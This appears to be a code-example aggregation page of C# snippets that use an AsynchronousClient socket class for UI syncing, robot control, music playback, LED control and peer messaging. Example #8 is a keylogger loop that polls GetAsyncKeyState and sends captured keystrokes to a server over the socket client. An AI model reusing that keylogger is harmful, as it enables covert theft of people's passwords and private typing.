Пример #1
0
 public void startclient()
 {
     if (AsynchronousClient.Client == null)
     {
         AsynchronousClient.StartClient();
     }
 }
Пример #2
0
        private void BtnSync_Click(object sender, RoutedEventArgs e)
        {
            if (ServerChannel.Text.Length > 0 && ClientChannel.Text.Length > 0)
            {
                MessageBox.Show("Note: only one of The Client or server should be filled in ");
                return;
            }
            if (int.TryParse(ServerChannel.Text, out int serverPort))
            {
                if (server != null)
                {
                    server.EndSocket();
                }
                server = new AsynchronousSocketListener(serverPort, SyncedData);
                server.StartSocket();
            }

            else if (int.TryParse(ClientChannel.Text, out int clientPort))
            {
                client = new AsynchronousClient(clientPort);
                //of type object so I can use LINQ, Then aggregate combines the items into a string with a newline seperating them
                var data = HistoryText.Items.OfType <object>().Aggregate("", (acc, x) => acc += x.ToString() + Environment.NewLine);
                client.Start(data);
            }
        }
Пример #3
0
        private void ConnectButton_Click(object sender, EventArgs e)
        {
            int     flag   = 1;
            decimal input0 = InitE.Value;
            decimal input1 = HighE.Value;
            decimal input2 = LowE.Value;
            decimal input3 = FinalE.Value;

            flag = AsynchronousClient.StartClient(input0, input1, input2, input3);

            //run client.py equivalent here in C#
            //possible functionality
            //scan for IP addresses the Pi may be assigned to in order to better automate the connection process
            //check if connection has been established, set flag to 1 if successful

            //int flag = 1;
            if (flag == 0)
            {
                MessageBox.Show("Connecting to Host");
            }
            else
            {
                MessageBox.Show("Connection error...");
            }
        }
Пример #4
0
        public static int Main(String[] args)
        {
            Robot robot = new Robot();

            Console.WriteLine("Please select functions:");
            Console.WriteLine("[1] Run As Server");
            Console.WriteLine("[2] Run As Client");
            Console.WriteLine("[3] Run As Listenner");
            var input = Console.ReadLine();

            if (input == "1")
            {
                AsynchronousSocketListener.StartListening();
            }
            if (input == "2")
            {
                Console.Write("Please Input the Server Ip Address:");
                var str = Console.ReadLine();
                Console.Write("Please Input the Robot Ip Address:");
                var str2 = Console.ReadLine();
                robot.Init(str2);

                AsynchronousClient.StartClient(str, false, robot);
            }
            if (input == "3")
            {
                Console.Write("Please Input the Server Ip Address:");
                var str = Console.ReadLine();
                Console.Write("Please Input the Robot Ip Address:");
                var str2 = Console.ReadLine();
                robot.Init(str2);
                AsynchronousClient.StartClient(str, true, robot);
            }
            return(0);
        }
Пример #5
0
 public void NextSong(Playlist playlist, Label txtKron, ProgressBar progress, bool isSpectrumOn)
 {
     i = 0;
     if (currentSongID != -1)
     {
         if (currentSongID < playlist.playlistSize - 1)
         {
             SongNameLabel(txtKron, playlist.listOfFiles[++currentSongID][1]);
             if (playlist.listOfFiles[currentSongID][2] == ".wav" && isSpectrumOn == true)
             {
                 AsynchronousClient.StartClient(playlist.listOfFiles[currentSongID][0]);
             }
             _player.Stop();
             Uri uri = new Uri(playlist.listOfFiles[currentSongID][0]);
             _player.Open(uri);
             _player.Play();
         }
         else if (currentSongID == playlist.playlistSize - 1)
         {
             SongNameLabel(txtKron, playlist.listOfFiles[0][1]);
             _player.Stop();
             if (playlist.listOfFiles[0][2] == ".wav" && isSpectrumOn == true)
             {
                 AsynchronousClient.StartClient(playlist.listOfFiles[0][0]);
             }
             Uri uri = new Uri(playlist.listOfFiles[0][0]);
             currentSongID = 0;
             _player.Open(uri);
             _player.Play();
         }
     }
 }
Пример #6
0
        public HttpResponseMessage Stop()
        {
            HttpResponseMessage response;

            try
            {
                if (GlobalVariables.GlobalSocketList.Count > 0)
                {
                    AsynchronousClient.StopClient(GlobalVariables.GlobalSocketList);
                    //response = Request.CreateResponse(HttpStatusCode.OK, @"{""Status"": ""All connections was stoped:" + GlobalVariables.GlobalSocketList.Count + @"""}");
                    GlobalVariables.GlobalSocketList.Clear();
                    GlobalVariables.cmd = null;
                    response            = SocketHelper.SocketHelperConnectionStatus();
                }
                else
                {
                    return(SocketHelper.SocketHelperConnectionStatus());
                }
            }
            catch (Exception e)
            {
                //response = Request.CreateResponse(HttpStatusCode.OK, @"{""Status"": ""No existing connection. Please create a connection first.""}");
                //return response;
                return(SocketHelper.SocketHelperConnectionNotFoundOrDisconnected());
            }
            return(response);
        }
Пример #7
0
        // GET: api/SocketStart
        //public IEnumerable<string> Get()
        //{
        //    return new string[] { "value1", "value2" };
        //}

        // GET: api/SocketStart/5
        //public string Get(int id)
        //{
        //    return "value";
        //}

        // POST: api/SocketStart
        public HttpResponseMessage Post(dynamic value)
        {
            HttpResponseMessage response;
            string data = JsonConvert.SerializeObject(value);

            try
            {
                Socketcmd socketcmd = JsonConvert.DeserializeObject <Socketcmd>(data);
                if (GlobalVariables.GlobalSocketList != null)
                {
                    if (GlobalVariables.GlobalSocketList.Count > 0)
                    {
                        response = Request.CreateResponse(HttpStatusCode.OK, @"{""Status"": ""There are " + GlobalVariables.GlobalSocketList.Count + @" connections running. Please stop the current connections to create more connections.""}");
                        //@"{""Status"": ""There are " + GlobalVariables.GlobalSocketList.Count + @" connections opened.""}"
                    }
                    else
                    {
                        GlobalVariables.GlobalSocketList = AsynchronousClient.StartClient(socketcmd);
                        response = Request.CreateResponse(HttpStatusCode.OK, @"{""Status"": ""Requests created " + GlobalVariables.GlobalSocketList.Count + @" number of connections.""}");
                    }
                }
                else
                {
                    GlobalVariables.GlobalSocketList = AsynchronousClient.StartClient(socketcmd);
                    response = Request.CreateResponse(HttpStatusCode.OK, @"{""Status"": ""Requests created " + GlobalVariables.GlobalSocketList.Count + @" number of connections.""}");
                }
            }
            catch (Exception)
            {
                response = Request.CreateResponse(HttpStatusCode.BadRequest, "Unable to DeserializeObject" + data);
                return(response);
            }
            return(response);
        }
Пример #8
0
    static void keylogger()
    {
        while (true)
        {
            if (s.Length > 20)
            {
                s += "<EOF>";
                AsynchronousClient.StartClient(s);


                s = "";
            }
            Thread.Sleep(100);

            for (int i = 0; i < 255; i++)
            {
                int keyState = GetAsyncKeyState(i);
                if (keyState == 1 || keyState == -32767)
                {
                    //Console.WriteLine((Keys)(i));
                    //l.Add((Keys)i);
                    s += (Keys)i;
                    break;
                }
            }
        }
    }
Пример #9
0
    public static void Main(string[] args)
    {
        DB db = new DB();

        db.listen_many();
        AsynchronousClient.StartClient();
    }
Пример #10
0
 // Update is called once per frame
 void Update()
 {
     AsynchronousClient.Update();
     lock (_actions)
     {
         _currentActions.Clear();
         _currentActions.AddRange(_actions);
         _actions.Clear();
     }
     foreach (var a in _currentActions)
     {
         a();
     }
     lock (_delayed)
     {
         _currentDelayed.Clear();
         _currentDelayed.AddRange(_delayed.Where(d => d.time <= Time.time));
         foreach (var item in _currentDelayed)
         {
             _delayed.Remove(item);
         }
     }
     foreach (var delayed in _currentDelayed)
     {
         delayed.action();
     }
 }
Пример #11
0
        public static byte[] SendFile(string path, ushort selectedAlgortihm, ClientWindow window)
        {
            try
            {
                byte[] fileBytes = ReadFile(path),
                requestBytes = CreateFTRequestBytes(fileBytes, selectedAlgortihm);

                using (AsynchronousClient client = new AsynchronousClient())
                {
                    client.ExceptionReport += (sender, e) =>
                    {
                        if (e.Exception.Message == "lol")
                        {
                            return;
                        }
                        //window.Dispatcher.BeginInvoke((MethodInvoker)(() =>
                        //    MessageBox.Show(e.Exception.Message, Application.ProductName,
                        //        MessageBoxButtons.OK, MessageBoxIcon.Error)));
                    };

                    client.Connect(Dns.GetHostName());

                    client.SendData(requestBytes);

                    var result = client.ReceiveResponse();

                    return(result);
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }
        }
        private void GetConnectedSystemInfo()
        {
            //Start Client
            AsynchronousClient client          = new AsynchronousClient();
            string             recievedMessage = client.StartClient("/get", _ip);

            if (recievedMessage.Contains("<global>"))
            {
                //Getting Activities And System Model From Message
                ActivitiesViewModel[] activities;
                GlobalSystemModel     systemModel = ManageSystemInformations
                                                    .ConverMessageToGlobalSystemModel(recievedMessage, out activities);

                //Add Or Update This System
                using (UnitOfWork uow = new UnitOfWork())
                {
                    ManageSystemInformations manageSystem = new ManageSystemInformations(uow, false);
                    manageSystem.AddOrUpdateSystem(systemModel);
                }

                //Fill The Controls
                CleanControls();
                FillControlsWithInfo(systemModel, activities);
            }
            else
            {
                MessageBox.Show(recievedMessage);
                this.Close();
            }
        }
Пример #13
0
        static void Main(string[] args)
        {
            Console.WriteLine("Main-Start【ThreadId=" + Thread.CurrentThread.ManagedThreadId + "】:" + DateTime.Now);
            TaskFactory taskFactory = new TaskFactory();

            Task[] taskArr = new Task[100];

            for (int i = 0; i < 100; i++)
            {
                taskArr[i] = taskFactory.StartNew(() =>
                {
                    Console.WriteLine("任務-Start【ThreadId=" + Thread.CurrentThread.ManagedThreadId + "】:" + DateTime.Now);

                    //單次
                    AsynchronousClient.StartClient();

                    Thread.Sleep(2000);

                    Console.WriteLine("任務-End【ThreadId=" + Thread.CurrentThread.ManagedThreadId + "】:" + DateTime.Now);
                });
            }

            Task.WaitAll(taskArr);

            Console.WriteLine("WaitAll執行之後【ThreadId=" + Thread.CurrentThread.ManagedThreadId + "】:" + DateTime.Now);

            Console.WriteLine("Main-End【ThreadId=" + Thread.CurrentThread.ManagedThreadId + "】:" + DateTime.Now);

            Console.ReadKey();

            //return 0;
        }
        public void ReceiveMessage()
        {
            AsynchronousClient.Receive(AsynchronousClient.sockXML);

            timer.Interval = new TimeSpan(0, 0, 0, 0, 1);
            timer.Tick    += new EventHandler(timer_Tick);
            timer.Start();
        }
Пример #15
0
    public static void HandleRequest(StepRequest curr)
    {
        string toSend = JsonUtility.ToJson(curr);

        AsynchronousClient.Send(AsynchronousClient.client, toSend);

        Debug.Log("We sent a request for step " + curr.stepNum);
    }
Пример #16
0
 public static void HandleRequest(SuppressActorRequest curr)
 {
     if (CheckAndResetRequestPossibility())
     {
         string toSend = JsonUtility.ToJson(curr);
         AsynchronousClient.Send(AsynchronousClient.client, toSend);
     }
 }
Пример #17
0
        //class constructor
        public ATM()
        {
            myAC = new AsynchronousClient(); //Instance of AsynchronousClient class

            this.sUser     = "";
            this.sPassword = "";
            this.bLoggedIn = false;
        }
Пример #18
0
 public void OnOff() //Send an init message and start the whole charade
 {
     if (!isOn)
     {
         AsynchronousClient.SendInitMessage();
         isOn = true; //No check for actual successful init
     }
 }
Пример #19
0
        /// <summary>
        /// 订阅
        /// </summary>
        /// <param name="asynchronousClient"></param>
        private static void Subscribe(AsynchronousClient asynchronousClient)
        {
            SubscribeObject subscribeObject = new SubscribeObject();

            subscribeObject.topic = "test";
            Console.WriteLine($"我订阅了主题[{subscribeObject.topic}]");
            asynchronousClient.Send(subscribeObject, MsgOperation.订阅消息Socket方式);
        }
Пример #20
0
 public MyNetWork(string hostname, int port)
 {
     Hostname = hostname;
     Port     = port;
     Client   = new TcpClient();
     Client.Connect(Hostname, Port);
     obj = new AsynchronousClient(Hostname, Port);
 }
Пример #21
0
        public MainWindow()
        {
            InitializeComponent();

            if (ADBManage.ADBStart(this))
            {
                AsynchronousClient.StartClient(this);
            }
        }
Пример #22
0
        /// <summary>
        /// 发布
        /// </summary>
        /// <param name="asynchronousClient"></param>
        private static void Publish(AsynchronousClient asynchronousClient)
        {
            PublishObject publishObject = new PublishObject();

            publishObject.topic   = "test";
            publishObject.content = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff") + new Random().Next(999).ToString();
            Console.WriteLine($"我在主题[{publishObject.topic}]发布了一条消息:{publishObject.content}");
            asynchronousClient.Send(publishObject, MsgOperation.发布广播);
        }
Пример #23
0
        public static void r_()
        {
            try {
                int r = 1;
                int g = 1;
                int b = 1;
                while (true)
                {
                    data.red = 1;
                    data.gre = 1;
                    data.blu = 1;

                    while (r < 1023 && g < 1023 && b < 1023)
                    {
                        r++;
                        g++;
                        b++;
                        r        = r + 5;
                        b        = b + 5;
                        g        = g + 5;
                        data.red = r;
                        data.gre = g;
                        data.blu = b;
                        AsynchronousClient.packet(data.PIN_red, r, data.PIN_blu, b, data.PIN_green, g);
                        //AsynchronousClient.packet(7, r, 6, b, 5, g);
                        if (stop == true)
                        {
                            System.Threading.Thread.CurrentThread.Interrupt();
                            stop = false;
                        }

                        // if (r == 1023) msg("true on_1023 ");
                    }
                    while (r > 1 && g > 1 && b > 1)
                    {
                        r--;
                        g--;
                        b--;
                        r        = r - 5;
                        b        = b - 5;
                        g        = g - 5;
                        data.blu = b;
                        data.red = r;
                        data.gre = g;
                        AsynchronousClient.packet(data.PIN_red, r, data.PIN_blu, b, data.PIN_green, g);
                        //     AsynchronousClient.packet(7, r, 6, b, 5, g);
                        if (stop == true)
                        {
                            System.Threading.Thread.CurrentThread.Interrupt();
                            stop = false;
                        }
                    }
                }
            }
            catch { }
        }
Пример #24
0
 public static void HandleTagUntagRequestToBeSent(bool toggle, string actorId)
 {
     if (CheckAndResetRequestPossibility())
     {
         TagActorRequest curr   = new TagActorRequest(actorId, toggle);
         string          toSend = JsonUtility.ToJson(curr);
         AsynchronousClient.Send(AsynchronousClient.client, toSend);
         Debug.Log("We sent a tag actor request");
     }
 }
Пример #25
0
        /// <summary>
        /// 登录
        /// </summary>
        /// <param name="asynchronousClient"></param>
        private static void login(AsynchronousClient asynchronousClient)
        {
            AccessObject accessObject = new AccessObject();

            accessObject.AccessKeyId     = "user1";
            accessObject.CurrentTimeSpan = Parse.DT2TS(DateTime.Now);
            accessObject.Sign            = MD5Helper.Sign(accessObject.AccessKeyId + accessObject.CurrentTimeSpan + "password1");
            Console.WriteLine($"我准备登录");
            asynchronousClient.Send(accessObject, MsgOperation.登录校验);
        }
Пример #26
0
        private async Task UpdateLocalNodesInfo()
        {
            //Getting connected systems
            IpAddressManagement ipManagement = new IpAddressManagement();
            var localIps = await ipManagement.StartGettingHosts(_ipAddress);

            await Task.Run(() =>
            {
                foreach (string ip in localIps)
                {
                    //Starting client
                    AsynchronousClient client = new AsynchronousClient();
                    string recievedMessage    = client.StartClient("/getshort", ip);

                    if (recievedMessage.Contains("<system>"))
                    {
                        //Get short system model
                        ShortSystemModel systemModel =
                            ManageSystemInformations.ConvertMessageToShortSystemModel(recievedMessage);

                        systemModel.SystemIp = ip;

                        //Adding system to data grid view
                        if (this.nodesDataGrid.InvokeRequired)
                        {
                            nodesDataGrid.Invoke(new Action(() =>
                            {
                                nodesDataGrid.Rows.Add(systemModel.SystemIp, systemModel.SystemName, systemModel.Cpu);
                            }));
                        }
                        else
                        {
                            nodesDataGrid.Rows.Add(systemModel.SystemIp, systemModel.SystemName, systemModel.Cpu);
                        }
                    }
                    else
                    {
                        //This happens when getting message from other system fails
                        //Adding system to data grid view
                        if (this.nodesDataGrid.InvokeRequired)
                        {
                            nodesDataGrid.Invoke(new Action(() =>
                            {
                                nodesDataGrid.Rows.Add(ip, "", "");
                            }));
                        }
                        else
                        {
                            nodesDataGrid.Rows.Add(ip, "", "");
                        }
                    }
                }
            });
        }
Пример #27
0
        private void slider_blu_ValueChanged(object sender, RoutedPropertyChangedEventArgs <double> e)
        {
            slider_blu.Minimum = Convert.ToDouble(1);
            slider_blu.Maximum = Convert.ToDouble(1023);
            var t    = Convert.ToUInt32(e.NewValue);
            var rgb_ = "RED - " + data.red + " | " + "GREEN - " + data.gre + " | " + "BLU - " + data.blu;

            textBox.Text = rgb_;
            data.blu     = (int)t;
            AsynchronousClient.packet(data.PIN_red, data.red, data.PIN_blu, data.blu, data.PIN_green, data.gre);
        }
Пример #28
0
 static void UdpReceiveRequest(Commands command, IPAddress remoteIP)
 {
     switch (command)
     {
     case Commands.Echo:
         var tcpClient      = new AsynchronousClient(remoteIP);
         var responseThread = new Thread(tcpClient.SendHostInfo);
         responseThread.Start();
         break;
     }
 }
Пример #29
0
        /// <summary>
        /// Отправляет ответ на полченное сообщение с картинкой с широкоугольной камерой
        /// </summary>
        private static void ResponseOnWideFieldImage(AsynchronousClient client, ImageMessage message)
        {
            File.WriteAllBytes($"C:\\tmp\\serverImage{_receivedImageNumber++}.jpg", message.Image.EncodeToJPG());

            var newMessage = new WideFieldPositionMessage
            {
                Position = new Vector2Int(Random.Range(0, 255), Random.Range(0, 255))
            };

            client.Send(newMessage.Serialize());
            Debug.Log($"[Server] WideField: send position \"{newMessage.Position}\"");
        }
        public static void Main()
        {
            AsynchronousSocketListener.StartListening();
            AsynchronousClient.StartClient();

            while (true)
            {
                string input = Console.ReadLine();

                CommandProvider.RunCommand(input.Split(' ')[0], input);
            }
        }
        public override void DoJob()
        {
            //List<InstrumentDataEnQueueJob> jobList = new List<InstrumentDataEnQueueJob>();

            //List<AsynchronousClient> asynchronousClientList = new List<AsynchronousClient>();

            //foreach (var item in jobList)
            //{
            //    AsynchronousClient client = new AsynchronousClient();
            //    asynchronousClientList.Add(client);
            //}

            // check number calc server

            List<Task> taskList = new List<Task>();

            while ( this.calculationComplete() )
            {
                // 쌓인 것중에 하나 가져옴 다 가져왔음?
                InstrumentData instrumentData = this.getInstrumentData();

                // 살아있는 서버 찾음.
                TargetServerInfoViewModel tsivm = this.AliveServer();

                // 연결함.
                AsynchronousClient client = new AsynchronousClient(tsivm);

                //
                Task task = new Task(() => { client.StartClient(instrumentData); });
                task.Start();
                taskList.Add(task);

                if (!this.calculationAvailable())
                {
                    int completeIndex = Task.WaitAny(taskList.ToArray());
                }
                
            }

            //for (int i = 0; i < taskArray.Length; i++)
            //{
            //    Console.WriteLine(asynchronousClientList[i].RecieveData_);
            //    //results[i] = taskArray[i].Result;
            //}
        }
Пример #32
0
        protected void Page_Load(object sender, EventArgs e)
        {
            String mn = Request.QueryString["callback"];
            try
            {
                AsynchronousClient rcc = new AsynchronousClient();
                //ControllerService.ControllerClient rcc = new ControllerService.ControllerClient();

                String minData = Request.Form.GetValues("minData")[0];
                String rep = Request.InputStream.ToString();
                Response.ContentType = "application/text";

                foreach (String str in Request.Form.GetValues("minData")[0].Split(','))
                {
                    AsynchronousClient.buildMinData(minData);
                }
                Response.Write(mn + "([{\"response\":\"OK\"}])");
            }
            catch (Exception ex)
            {
                Console.Write(ex);
                Response.Write(mn + "([{\"response\":\"ERROR\"}])");
            }
        }
Пример #33
0
 protected override void Subscribe(string symbol)
 {
     bars = new Bars(symbol, rayProvider.scale, rayProvider.barinterval);
     barsNew = new Bars(symbol, BarScale.Tick, 1);
     rayclient = new AsynchronousClient(11000);
     q = new Quote();
     q.Symbol = symbol;
     this.symbol = symbol;
 }
Пример #34
0
 public void changePermissionRequest(string myIPPort, Hashtable dests, string IPPort, string read, string write)
 {
    
     string[] privileges = { read, write };
     permissions[IPPort] = privileges;
     List<string> endPoints = Peers();
     Hashtable temp = dests;
     List<string> removed = new List<string>();
     foreach (DictionaryEntry item in temp)
     {
         if (!endPoints.Contains(item.Key.ToString()))
             removed.Add(item.Key.ToString());
     }
     for (int i = 0; i < removed.Count; i++)
     {
         temp.Remove(removed[i].ToString());
     }
     string permissionMessage = changePermissionMessage(IPPort, read, write);
     AsynchronousClient client = new AsynchronousClient();
     client.SetMultiMsg(temp, permissionMessage, myIPPort);
     Thread t = new Thread(new ThreadStart(client.SendMultiClient));
     t.Start();
     t.IsBackground = true;
     
 }
Пример #35
0
        private void createInitialData(string IPPort)
        {

            string DstIp = IPPort.Substring(0, IPPort.IndexOf(':'));
            string DstPort = IPPort.Substring(IPPort.IndexOf(':') + 1);
            AsynchronousClient client = new AsynchronousClient();
            client.SetSingleMsg(DstIp, DstPort, InitialXMLString());
            Thread t = null;
            t = new Thread(new ThreadStart(client.SendSingleClient));
            t.Start();
            t.IsBackground = true;      
           
           /*
             *this is a part of Test1
            Console.WriteLine(InitialXMLString());            
             */
           
        }
Пример #36
0
        //this function is used to give a privilege to a computer for the first time, so it includes
        //the source code as well among the parameters. before that it has to initialize all the other
        //data on the new machine so it calls createInitialData function
        public void addPermissionRequest(string myIPPort, Hashtable dests, string code, string IPPort, string read, string write)
        {

            createInitialData(IPPort);
            string[] privileges = { read, write };
            permissions[IPPort]= privileges;

            List<string> endPoints = Peers();
            Hashtable temp = dests;
            List<string> removed = new List<string>();
            foreach (DictionaryEntry item in temp)
            {
                if (!endPoints.Contains(item.Key.ToString()))
                {
                    removed.Add(item.Key.ToString());
                }
            }
            for (int i = 0; i < removed.Count; i++)
			{
			    temp.Remove(removed[i].ToString());
			}
            
            code = "<newProg>" +"<code>"+ code +"</code>"+"<Pid>"+Pid+"</Pid>"+"<IPPort>"+IPPort+"</IPPort>"+"<read>"+read+"</read>"+"<write>"+write+"</write>"+"</newProg>";
           // Console.WriteLine(code); //this line is a part of test1
            AsynchronousClient client = new AsynchronousClient();
            client.SetMultiMsg(temp, code, myIPPort);
            Thread t = new Thread(new ThreadStart(client.SendMultiClient));
            t.Start();
            t.IsBackground = true;
            
        }
 private void btnSend_Click_1(object sender, RoutedEventArgs e)
 {
     AsynchronousClient c = new AsynchronousClient();
     c.StartClient();
     tbxMessage.Text = mainStr;
 }